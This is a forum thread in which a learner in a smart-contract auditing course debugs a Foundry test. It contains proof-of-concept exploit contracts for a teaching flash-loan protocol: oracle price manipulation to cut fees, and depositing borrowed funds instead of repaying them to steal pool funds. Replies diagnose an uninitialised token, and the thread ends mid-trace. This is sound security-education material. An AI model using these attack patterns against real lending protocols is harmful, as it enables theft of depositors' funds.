repay over deposit error in test, video: Exploit: Deposit Instead Of Repay #227

YavorJJ · 2024-08-23T21:43:25Z

YavorJJ
Aug 23, 2024

Hello, I followed Patrick's video and code line by line but i still cant figure out why I have an error when his test is completely fine, I am really stuck for hours and hours on this, and I would really like to get some help.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { Test, console2 } from "forge-std/Test.sol";
import { BaseTest, ThunderLoan } from "./BaseTest.t.sol";
import { AssetToken } from "../../src/protocol/AssetToken.sol";
import { MockFlashLoanReceiver } from "../mocks/MockFlashLoanReceiver.sol";
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import { BuffMockPoolFactory } from "../mocks/BuffMockPoolFactory.sol";
import { BuffMockTSwap } from "../mocks/BuffMockTSwap.sol";
import { IFlashLoanReceiver } from "../../src/interfaces/IFlashLoanReceiver.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

contract ThunderLoanTest is BaseTest {
    uint256 constant AMOUNT = 10e18;
    uint256 constant DEPOSIT_AMOUNT = AMOUNT * 100;
    address liquidityProvider = address(123);
    address user = address(456);
    MockFlashLoanReceiver mockFlashLoanReceiver;

    function setUp() public override {
        super.setUp();
        vm.prank(user);
        mockFlashLoanReceiver = new MockFlashLoanReceiver(address(thunderLoan));
    }

    function testInitializationOwner() public {
        assertEq(thunderLoan.owner(), address(this));
    }

    function testSetAllowedTokens() public {
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        assertEq(thunderLoan.isAllowedToken(tokenA), true);
    }

    function testOnlyOwnerCanSetTokens() public {
        vm.prank(liquidityProvider);
        vm.expectRevert();
        thunderLoan.setAllowedToken(tokenA, true);
    }

    function testSettingTokenCreatesAsset() public {
        vm.prank(thunderLoan.owner());
        AssetToken assetToken = thunderLoan.setAllowedToken(tokenA, true);
        assertEq(address(thunderLoan.getAssetFromToken(tokenA)), address(assetToken));
    }

    function testCantDepositUnapprovedTokens() public {
        tokenA.mint(liquidityProvider, AMOUNT);
        tokenA.approve(address(thunderLoan), AMOUNT);
        vm.expectRevert(abi.encodeWithSelector(ThunderLoan.ThunderLoan__NotAllowedToken.selector, address(tokenA)));
        thunderLoan.deposit(tokenA, AMOUNT);
    }

    modifier setAllowedToken() {
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        _;
    }

    function testDepositMintsAssetAndUpdatesBalance() public setAllowedToken {
        tokenA.mint(liquidityProvider, AMOUNT);

        vm.startPrank(liquidityProvider);
        tokenA.approve(address(thunderLoan), AMOUNT);
        thunderLoan.deposit(tokenA, AMOUNT);
        vm.stopPrank();

        AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
        assertEq(tokenA.balanceOf(address(asset)), AMOUNT);
        assertEq(asset.balanceOf(liquidityProvider), AMOUNT);
    }

    modifier hasDeposits() {
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, DEPOSIT_AMOUNT);
        tokenA.approve(address(thunderLoan), DEPOSIT_AMOUNT);
        thunderLoan.deposit(tokenA, DEPOSIT_AMOUNT);
        vm.stopPrank();
        _;
    }

    function testFlashLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        assertEq(mockFlashLoanReceiver.getBalanceDuring(), amountToBorrow + AMOUNT);
        assertEq(mockFlashLoanReceiver.getBalanceAfter(), AMOUNT - calculatedFee);
    }

    function testRedeemAfterFlashLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10; // = 100e18
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        // 1000e18 initial deposit
        // 3e17 fee
        // 1000e18 + 3e17 = 1003e18
        // 1003.300900000000000000

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
    }

    function testOracleMan() public {
        thunderLoan = new ThunderLoan();
        tokenA = new ERC20Mock();
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));
        // Create a Tswap Dex between Weth and TokenA
        address tswapPool = pf.createPool(address(tokenA)); 
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(pf));

        // 2. Fund TSwap
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 100e18);
        tokenA.approve(address(tswapPool), 100e18);
        weth.mint(liquidityProvider, 100e18);
        weth.approve(address(tswapPool), 100e18);
        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.timestamp);
        vm.stopPrank();
        // Ratio 100 WETH & 100 TokenA
        // Price 1:1

        // 3. Fund ThunderLoan   
        // Set allow  
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);
        // Fund
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, 1000e18);
        tokenA.approve(address(thunderLoan), 1000e18);
        thunderLoan.deposit(tokenA, 1000e18);
        vm.stopPrank();

        // 100 WETH & 100 TokenA in TSwap
        // 1000 TokenA in ThunderLoan
        // Take out a flash loan of 50 tokenA
        // swap it on the dex, tanking the price > 150 TokenA > 80 WETH
        // Take out ANOTHER flash loan of 50 tokenA (and we'll see how much cheaper it is) 

        // 4. We are going to take out 2 flash loan
        //        a. To nuke the price of the Weth/tokenA on TSwap
        //        b. To show that doing so greatly reduces the fees we pay on ThunderLoan
        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA, 100e18);
        console2.log("Normal Fee is:", normalFeeCost);
        // 0.296147410319118389

        uint256 amountToBorrow = 50e18; // we gonna do this twice
        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver(address(tswapPool), address(thunderLoan), address(thunderLoan.getAssetFromToken(tokenA)));
    
         vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);   // chat gpt said this is the fist flash loan, understand if this is true
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "");
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console2.log("Attack Fee is:", attackFee);
        assert(attackFee < normalFeeCost);
    }

    function testUseDepositInsteadOfRepayToStealFunds() public  setAllowedToken hasDeposits  {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        DepositOverRepay dor =  DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();
        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
}
contract DepositOverRepay is IFlashLoanReceiver {
 
 ThunderLoan thunderLoan;
 AssetToken assetToken;
 IERC20 s_token;
    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
        
    }

         function executeOperation(
        address token,  
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
       s_token = IERC20(token);
       assetToken = thunderLoan.getAssetFromToken(IERC20(token));
       IERC20(token).approve(address(thunderLoan), amount + fee);
       thunderLoan.deposit(IERC20(token), amount + fee);
       return true;   
    }

    function redeemMoney() public {
       uint256 amount = assetToken.balanceOf(address(this));
       thunderLoan.redeem(s_token, amount);
    }
  }

contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderLoan, address _repayAddress) {
        tswapPool = BuffMockTSwap (_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

         function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
            if (!attacked) {
                // 1. Swap TokenA borrowed for WETH
                // 2. Take out ANOTHER flash loan, to show the difference
                feeOne = fee;
                attacked = true;
                uint256 wethBought = tswapPool.getOutputAmountBasedOnInput(50e18, 100e18, 100e18);
                IERC20(token).approve(address(tswapPool), 50e18);
                // Tanks the price!!
                tswapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18, wethBought, block.timestamp);
                // we call a second flash loan!!!!
                thunderLoan.flashloan(address(this), IERC20(token), amount, "");
                // repay
                // IERC20(token).approve(address(thunderLoan), amount + fee); 
                // thunderLoan.repay(IERC20(token), amount + fee);
                IERC20(token).transfer(address(repayAddress), amount + fee);
        } else {
            // calculate the fee and repay  
            feeTwo = fee;
            // repay
            // IERC20(token).approve(address(thunderLoan), amount + fee);
            // thunderLoan.repay(IERC20(token), amount + fee);
            IERC20(token).transfer(address(repayAddress), amount + fee);
        }
        return true;   
    }
}

and this is the function and the contract that I am stuck on:

 function testUseDepositInsteadOfRepayToStealFunds() public  setAllowedToken hasDeposits  {
        vm.startPrank(user);
        uint256 amountToBorrow = 50e18;
        uint256 fee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        DepositOverRepay dor =  DepositOverRepay(address(thunderLoan));
        tokenA.mint(address(dor), fee);
        thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "");
        dor.redeemMoney();
        vm.stopPrank();
        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
    }
}
contract DepositOverRepay is IFlashLoanReceiver {
 
 ThunderLoan thunderLoan;
 AssetToken assetToken;
 IERC20 s_token;
    constructor(address _thunderLoan) {
        thunderLoan = ThunderLoan(_thunderLoan);
        
    }

         function executeOperation(
        address token,  
        uint256 amount,
        uint256 fee,
        address /*initiator*/,
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
       s_token = IERC20(token);
       assetToken = thunderLoan.getAssetFromToken(IERC20(token));
       IERC20(token).approve(address(thunderLoan), amount + fee);
       thunderLoan.deposit(IERC20(token), amount + fee);
       return true;   
    }

    function redeemMoney() public {
       uint256 amount = assetToken.balanceOf(address(this));
       thunderLoan.redeem(s_token, amount);
    }
  }

this is the output I get:

[⠊] Compiling...
[⠰] Compiling 1 files with Solc 0.8.20
[⠔] Solc 0.8.20 finished in 2.26s
Compiler run successful!

Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[FAIL. Reason: EvmError: Revert] testUseDepositInsteadOfRepayToStealFunds() (gas: 24172)
Traces:
[3985871] ThunderLoanTest::setUp()
  ├─ [2612981] → new ThunderLoan@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
  │   ├─ emit Initialized(version: 18446744073709551615 [1.844e19])
  │   └─ ← [Return] 12933 bytes of code
  ├─ [121971] → new MockPoolFactory@0x2e234DAe75C793f67A35089C9d99245E1C58470b
  │   └─ ← [Return] 609 bytes of code
  ├─ [449186] → new ERC20Mock@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
  │   └─ ← [Return] 2018 bytes of code
  ├─ [82488] MockPoolFactory::createPool(0x0000000000000000000000000000000000000000)
  │   ├─ [25275] → new MockTSwapPool@0xffD4505B3452Dc22f8473616d50503bA9E1710Ac
  │   │   └─ ← [Return] 126 bytes of code
  │   └─ ← [Return] MockTSwapPool: [0xffD4505B3452Dc22f8473616d50503bA9E1710Ac]
  ├─ [58257] → new ERC1967Proxy@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
  │   ├─ emit Upgraded(implementation: ThunderLoan: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])
  │   └─ ← [Return] 170 bytes of code
  ├─ [115621] ERC1967Proxy::initialize(MockPoolFactory: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
  │   ├─ [115231] ThunderLoan::initialize(MockPoolFactory: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [delegatecall]
  │   │   ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
  │   │   ├─ emit Initialized(version: 1)
  │   │   └─ ← [Stop] 
  │   └─ ← [Return] 
  ├─ [0] VM::prank(0x00000000000000000000000000000000000001c8)
  │   └─ ← [Return] 
  ├─ [261741] → new MockFlashLoanReceiver@0x1cF5c39A1828B446da31fADb01059F2A6B9B327b
  │   └─ ← [Return] 1074 bytes of code
  └─ ← [Stop] 

[24172] ThunderLoanTest::testUseDepositInsteadOfRepayToStealFunds()
  ├─ [7332] ERC1967Proxy::owner() [staticcall]
  │   ├─ [2442] ThunderLoan::owner() [delegatecall]
  │   │   └─ ← [Return] ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
  │   └─ ← [Return] ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
  ├─ [0] VM::prank(ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
  │   └─ ← [Return] 
  ├─ [6136] ERC1967Proxy::setAllowedToken(0x0000000000000000000000000000000000000000, true)
  │   ├─ [5742] ThunderLoan::setAllowedToken(0x0000000000000000000000000000000000000000, true) [delegatecall]
  │   │   ├─ [0] 0x0000000000000000000000000000000000000000::name() [staticcall]
  │   │   │   └─ ← [Stop] 
  │   │   └─ ← [Revert] EvmError: Revert
  │   └─ ← [Revert] EvmError: Revert
  └─ ← [Revert] EvmError: Revert

Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 11.32ms (1.60ms CPU time)

Ran 1 test suite in 668.68ms (11.32ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[FAIL. Reason: EvmError: Revert] testUseDepositInsteadOfRepayToStealFunds() (gas: 24172)

Encountered a total of 1 failing tests, 0 tests succeeded

Answered by EngrPips

Aug 26, 2024

Run forge clean then foundryup then retry the test, Let's see how that will play out

View full answer

EngrPips · 2024-08-24T04:28:16Z

EngrPips
Aug 24, 2024

Hello @YavorJJ, Please show your BaseTest.t.sol

6 replies

YavorJJ Aug 24, 2024
Author

right here sir

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract BaseTest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
    ThunderLoan thunderLoan;

    ERC20Mock weth;
    ERC20Mock tokenA;

    function setUp() public virtual {
        thunderLoan = new ThunderLoan();
        mockPoolFactory = new MockPoolFactory();

        weth = new ERC20Mock();
        // tokenA = new ERC20Mock();

        mockPoolFactory.createPool(address(tokenA));
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(mockPoolFactory));
    }
}

EngrPips Aug 24, 2024

Hey @YavorJJ, You didn't initialize tokenA in your setUp function of this base test before you used in this line mockPoolFactory.createPool(address(tokenA)); That is you basically creating a pool with a token of address(0). Below is my BaseTest.t.sol and you will see that I initialize the tokenA before using it.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract BaseTest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
    ThunderLoan thunderLoan;

    ERC20Mock weth;
    ERC20Mock tokenA;

    function setUp() public virtual {
        thunderLoan = new ThunderLoan();
        mockPoolFactory = new MockPoolFactory();

        weth = new ERC20Mock();
        tokenA = new ERC20Mock();

        mockPoolFactory.createPool(address(tokenA));
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(mockPoolFactory));
    }
}

YavorJJ Aug 25, 2024
Author

Hey @YavorJJ, You didn't initialize tokenA in your setUp function of this base test before you used in this line mockPoolFactory.createPool(address(tokenA)); That is you basically creating a pool with a token of address(0). Below is my BaseTest.t.sol and you will see that I initialize the tokenA before using it.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;

import { Test, console } from "forge-std/Test.sol";
import { ThunderLoan } from "../../src/protocol/ThunderLoan.sol";
import { ERC20Mock } from "../mocks/ERC20Mock.sol";
import { MockTSwapPool } from "../mocks/MockTSwapPool.sol";
import { MockPoolFactory } from "../mocks/MockPoolFactory.sol";
import { ERC1967Proxy } from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";

contract BaseTest is Test {
    ThunderLoan thunderLoanImplementation;
    MockPoolFactory mockPoolFactory;
    ERC1967Proxy proxy;
    ThunderLoan thunderLoan;

    ERC20Mock weth;
    ERC20Mock tokenA;

    function setUp() public virtual {
        thunderLoan = new ThunderLoan();
        mockPoolFactory = new MockPoolFactory();

        weth = new ERC20Mock();
        tokenA = new ERC20Mock();

        mockPoolFactory.createPool(address(tokenA));
        proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(mockPoolFactory));
    }
}

thank you for your answer here, I fixed this, but another error popped up:

[⠒] Compiling...
[⠘] Compiling 2 files with Solc 0.8.20
[⠊] Solc 0.8.20 finished in 2.69s
Compiler run successful!

Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[FAIL. Reason: FailedInnerCall()] testUseDepositInsteadOfRepayToStealFunds() (gas: 1070513)
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 14.34ms (2.42ms CPU time)

Ran 1 test suite in 93.28ms (14.34ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)

Failing tests:
Encountered 1 failing test in test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[FAIL. Reason: FailedInnerCall()] testUseDepositInsteadOfRepayToStealFunds() (gas: 1070513)

Encountered a total of 1 failing tests, 0 tests succeeded
yavorjr@DESKTOP-BFAHRIB:~/6-thunder-loan-audit$ forge test --mt testUseDepositInsteadOfRepayToStealFunds -vvvv
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[FAIL. Reason: FailedInnerCall()] testUseDepositInsteadOfRepayToStealFunds() (gas: 1070513)
Traces:
  [4507375] ThunderLoanTest::setUp()
    ├─ [2612981] → new ThunderLoan@0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f
    │   ├─ emit Initialized(version: 18446744073709551615 [1.844e19])
    │   └─ ← [Return] 12933 bytes of code
    ├─ [121971] → new MockPoolFactory@0x2e234DAe75C793f67A35089C9d99245E1C58470b
    │   └─ ← [Return] 609 bytes of code
    ├─ [449186] → new ERC20Mock@0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
    │   └─ ← [Return] 2018 bytes of code
    ├─ [449186] → new ERC20Mock@0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9
    │   └─ ← [Return] 2018 bytes of code
    ├─ [102388] MockPoolFactory::createPool(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9])
    │   ├─ [25275] → new MockTSwapPool@0xffD4505B3452Dc22f8473616d50503bA9E1710Ac
    │   │   └─ ← [Return] 126 bytes of code
    │   └─ ← [Return] MockTSwapPool: [0xffD4505B3452Dc22f8473616d50503bA9E1710Ac]
    ├─ [58257] → new ERC1967Proxy@0xc7183455a4C133Ae270771860664b6B7ec320bB1
    │   ├─ emit Upgraded(implementation: ThunderLoan: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f])
    │   └─ ← [Return] 170 bytes of code
    ├─ [115621] ERC1967Proxy::initialize(MockPoolFactory: [0x2e234DAe75C793f67A35089C9d99245E1C58470b])
    │   ├─ [115231] ThunderLoan::initialize(MockPoolFactory: [0x2e234DAe75C793f67A35089C9d99245E1C58470b]) [delegatecall]
    │   │   ├─ emit OwnershipTransferred(previousOwner: 0x0000000000000000000000000000000000000000, newOwner: ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   │   ├─ emit Initialized(version: 1)
    │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [0] VM::prank(0x00000000000000000000000000000000000001c8)
    │   └─ ← [Return] 
    ├─ [261741] → new MockFlashLoanReceiver@0x1cF5c39A1828B446da31fADb01059F2A6B9B327b
    │   └─ ← [Return] 1074 bytes of code
    └─ ← [Stop] 

  [1070513] ThunderLoanTest::testUseDepositInsteadOfRepayToStealFunds()
    ├─ [7332] ERC1967Proxy::owner() [staticcall]
    │   ├─ [2442] ThunderLoan::owner() [delegatecall]
    │   │   └─ ← [Return] ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
    │   └─ ← [Return] ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496]
    ├─ [0] VM::prank(ThunderLoanTest: [0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496])
    │   └─ ← [Return] 
    ├─ [805516] ERC1967Proxy::setAllowedToken(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], true)
    │   ├─ [805120] ThunderLoan::setAllowedToken(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], true) [delegatecall]
    │   │   ├─ [3178] ERC20Mock::name() [staticcall]
    │   │   │   └─ ← [Return] "ERC20Mock"
    │   │   ├─ [3221] ERC20Mock::symbol() [staticcall]
    │   │   │   └─ ← [Return] "E20M"
    │   │   ├─ [735164] → new AssetToken@0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c
    │   │   │   └─ ← [Return] 3329 bytes of code
    │   │   ├─ emit AllowedTokenSet(token: ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], asset: AssetToken: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c], allowed: true)
    │   │   └─ ← [Return] AssetToken: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c]
    │   └─ ← [Return] AssetToken: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c]
    ├─ [0] VM::startPrank(0x000000000000000000000000000000000000007B)
    │   └─ ← [Return] 
    ├─ [46789] ERC20Mock::mint(0x000000000000000000000000000000000000007B, 1000000000000000000000 [1e21])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 1000000000000000000000 [1e21])
    │   └─ ← [Stop] 
    ├─ [24739] ERC20Mock::approve(ERC1967Proxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 1000000000000000000000 [1e21])
    │   ├─ emit Approval(owner: 0x000000000000000000000000000000000000007B, spender: ERC1967Proxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], value: 1000000000000000000000 [1e21])
    │   └─ ← [Return] true
    ├─ [97277] ERC1967Proxy::deposit(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 1000000000000000000000 [1e21])
    │   ├─ [96884] ThunderLoan::deposit(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 1000000000000000000000 [1e21]) [delegatecall]
    │   │   ├─ [380] AssetToken::getExchangeRate() [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   ├─ [240] AssetToken::EXCHANGE_RATE_PRECISION() [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   ├─ emit Deposit(account: 0x000000000000000000000000000000000000007B, token: ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], amount: 1000000000000000000000 [1e21])
    │   │   ├─ [46896] AssetToken::mint(0x000000000000000000000000000000000000007B, 1000000000000000000000 [1e21])
    │   │   │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: 0x000000000000000000000000000000000000007B, value: 1000000000000000000000 [1e21])
    │   │   │   └─ ← [Stop] 
    │   │   ├─ [2523] MockPoolFactory::getPool(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
    │   │   │   └─ ← [Return] MockTSwapPool: [0xffD4505B3452Dc22f8473616d50503bA9E1710Ac]
    │   │   ├─ [146] MockTSwapPool::getPriceOfOnePoolTokenInWeth() [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   ├─ [2174] AssetToken::updateExchangeRate(3000000000000000000 [3e18])
    │   │   │   ├─ emit ExchangeRateUpdated(newExchangeRate: 1003000000000000000 [1.003e18])
    │   │   │   └─ ← [Stop] 
    │   │   ├─ [26062] ERC20Mock::transferFrom(0x000000000000000000000000000000000000007B, AssetToken: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c], 1000000000000000000000 [1e21])
    │   │   │   ├─ emit Transfer(from: 0x000000000000000000000000000000000000007B, to: AssetToken: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c], value: 1000000000000000000000 [1e21])
    │   │   │   └─ ← [Return] true
    │   │   └─ ← [Stop] 
    │   └─ ← [Return] 
    ├─ [0] VM::stopPrank()
    │   └─ ← [Return] 
    ├─ [0] VM::startPrank(0x00000000000000000000000000000000000001c8)
    │   └─ ← [Return] 
    ├─ [3100] ERC1967Proxy::getCalculatedFee(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19]) [staticcall]
    │   ├─ [2704] ThunderLoan::getCalculatedFee(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19]) [delegatecall]
    │   │   ├─ [523] MockPoolFactory::getPool(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
    │   │   │   └─ ← [Return] MockTSwapPool: [0xffD4505B3452Dc22f8473616d50503bA9E1710Ac]
    │   │   ├─ [146] MockTSwapPool::getPriceOfOnePoolTokenInWeth() [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   └─ ← [Return] 150000000000000000 [1.5e17]
    │   └─ ← [Return] 150000000000000000 [1.5e17]
    ├─ [24889] ERC20Mock::mint(ERC1967Proxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 150000000000000000 [1.5e17])
    │   ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: ERC1967Proxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], value: 150000000000000000 [1.5e17])
    │   └─ ← [Stop] 
    ├─ [40252] ERC1967Proxy::flashloan(ERC1967Proxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19], 0x)
    │   ├─ [39837] ThunderLoan::flashloan(ERC1967Proxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], 50000000000000000000 [5e19], 0x) [delegatecall]
    │   │   ├─ [562] ERC20Mock::balanceOf(AssetToken: [0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c]) [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000000 [1e21]
    │   │   ├─ [523] MockPoolFactory::getPool(ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9]) [staticcall]
    │   │   │   └─ ← [Return] MockTSwapPool: [0xffD4505B3452Dc22f8473616d50503bA9E1710Ac]
    │   │   ├─ [146] MockTSwapPool::getPriceOfOnePoolTokenInWeth() [staticcall]
    │   │   │   └─ ← [Return] 1000000000000000000 [1e18]
    │   │   ├─ [2174] AssetToken::updateExchangeRate(150000000000000000 [1.5e17])
    │   │   │   ├─ emit ExchangeRateUpdated(newExchangeRate: 1003150450000000000 [1.003e18])
    │   │   │   └─ ← [Stop] 
    │   │   ├─ emit FlashLoan(receiverAddress: ERC1967Proxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], token: ERC20Mock: [0x5991A2dF15A8F6A256D3Ec51E99254Cd3fb576A9], amount: 50000000000000000000 [5e19], fee: 150000000000000000 [1.5e17], params: 0x)
    │   │   ├─ [5131] AssetToken::transferUnderlyingTo(ERC1967Proxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 50000000000000000000 [5e19])
    │   │   │   ├─ [3310] ERC20Mock::transfer(ERC1967Proxy: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], 50000000000000000000 [5e19])
